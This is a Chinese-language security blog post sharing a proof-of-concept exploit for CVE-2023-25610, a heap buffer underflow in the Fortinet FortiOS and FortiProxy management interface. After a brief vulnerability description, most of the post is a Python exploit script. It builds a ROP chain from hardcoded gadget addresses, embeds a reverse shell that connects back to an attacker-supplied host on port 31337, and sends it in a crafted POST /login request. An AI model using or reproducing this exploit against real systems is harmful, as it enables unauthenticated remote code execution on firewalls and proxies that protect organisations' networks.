【CVE-2023-25610】Fortinet FortiOS和FortiProxy 安全漏洞 POC

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/qi4L/CVE-2023-25610

CVE-2023-25610

FortiOS 管理界面中的堆内存下溢导致远程代码执行。

漏洞介绍

Fortinet FortiOS和Fortinet FortiProxy都是美国飞塔(Fortinet)公司的产品。Fortinet FortiOS是一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。Fortinet FortiProxy是一种安全的网络代理,通过结合多种检测技术,如Web过滤、DNS过滤、DLP、反病毒、入侵防御和高级威胁保护,可以保护员工免受网络攻击。FortiProxy有助于减少带宽需求,并通过内容和视频缓存优化网络。

FortiOS和FortiProxy存在安全漏洞,该漏洞源于存在缓冲区缓冲区下溢漏洞,未经身份验证的远程攻击者利用该漏洞可以通过特制请求在设备上执行任意代码。

范围和限制

  1. Fortinet 6.x
  2. 基于 TLSv1.3,在其他 TLS 版本上可能存在差异
import ssl
from pwn import *

context = ssl.SSLContext()
target_host = sys.argv[1]
target_port = sys.argv[2]
reverse = sys.argv[3]
params = sys.argv[4].split(" ")
strparams = "["
for param in params:
    strparams += "'" + param + "',"
strparams = strparams[:-1]
strparams += "]"

# binary functions RCE
execve = p64(0x0042e050)
ENGINE_ctrl = p64(0x009FE0)

EVP_CIPHER_flags = p64(0x22b01a0)

# binary gadgets 栈迁移
movrdirax = p64(0x00000000019d2196)  # : mov rdi, rax ; call r13
poprsi = p64(0x000000000042f0f8)  # : pop rsi ; ret)
poprdx = p64(0x000000000042f4a5)  # : pop rdx ; ret)
jmprax = p64(0x0000000000433181)  #: jmp rax)
pops = p64(0x000000000165cfd7)  # : pop rdx ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret)
poprax = p64(0x00000000004359af)  # : pop rax ; ret)
gadget1 = p64(
    0x0000000001697e0d)  # 0x0000000001697e0d : push rbx ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
poprdi = p64(0x000000000042ed7e)  # : pop rdi ; ret
rax3 = gadget1

ropchain = poprax
ropchain += execve
ropchain += poprdi
ropchain += poprsi
ropchain += poprdx
ropchain += jmprax
ropchain += b"/bin/python\x00\x00\x00\x00\x00"
ropchain += b"python\x00\x00"
ropchain += b"-c\x00\x00\x00\x00\x00\x00"
ropchain += b"""import socket,sys,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('""" + reverse.encode() + b"""',31337))\n[os.dup2(s.fileno(),x) for x in range(3)]\ni=os.fork()\nif i==0:\n os.execve('/bin/sh', """ + strparams.encode() + b""",{})\n\x00\x00"""

try:
    with socket.create_connection((target_host, int(target_port, 10))) as sock:
        with context.wrap_socket(sock, server_hostname=target_host) as ssock:
            ssock.settimeout(2)
            context.verify_mode = ssl.CERT_NONE
            payload = EVP_CIPHER_flags + ENGINE_ctrl + poprdi + pops + b"A" * 40 + pops + rax3 + ropchain
            tosend = b"POST /login HTTP/1.1\r\nHost: " + target_host + b"\r\nContent-Length: 4303491072\r\n\r\n" + payload
            ssock.sendall(tosend)
            r = ssock.recv(10024)
except Exception as e:
    print("Exception occurred :" + repr(e))

 

标签:工具分享, POC脚本